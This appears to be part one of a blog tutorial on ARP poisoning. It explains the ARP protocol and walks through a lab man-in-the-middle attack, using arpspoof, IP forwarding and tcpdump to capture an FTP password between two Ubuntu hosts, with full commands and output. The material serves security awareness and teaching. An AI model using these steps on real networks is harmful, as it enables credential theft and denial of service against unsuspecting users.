ARP poisoning (I)

From a long time, I wanted to write some article about this issue. I think that people are not aware of the potential risks when they connect to a public network, such as inside an airport, library, pub and so on, even the own office network.

Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...

Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.

Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.

To begin with, let's get started by saying how ARP works (Address Resolution Protocol). Basically, this protocol is used to associate MAC and IP addresses.

For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).

Hereafter, the computer stores into its MAC table (temporary) the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.

What kind of attacks can derive from this situation? For instance, the well-known Man in the Middle attack (MitM).

Below you can see the environment which I will hold for my tests. Victim and attacker are an Ubuntu 10.11, and ubuntu-server is an Ubuntu Server 11.10 release.

In my first case, I am going to put the attacker computer intercepting all communications between ubuntu-server and victim. To be more precise, the victim will connect to a FTP service installed on ubuntu-server and the attacker will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.

So that the attacker node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).

root@attacker:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@attacker:~# aptitude install dsniff

Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.

javi@ubuntu-server:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0

Next step is to alter those tables by transmitting fake ARP frames.

root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11
0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b
...

root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10
0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b
...

If we output the ARP tables again, we can see that the entries have been changed.

javi@ubuntu-server:~$ arp -a
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0

At this point, the attacker is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.

root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap

Last step is to establish a FTP session between victim and ubuntu-server.

javi@victim:~$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.2)
Name (192.168.1.11:javi): javi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Now we are going to open the captured file through Wireshark. As you can distinguish, the password has been catched.

In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the attacker has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on ubuntu-server.

And finally, also mention that if IP forwarding was not activated, we would be causing a Denial of Service attack (DoS), due to the communication would be cut out.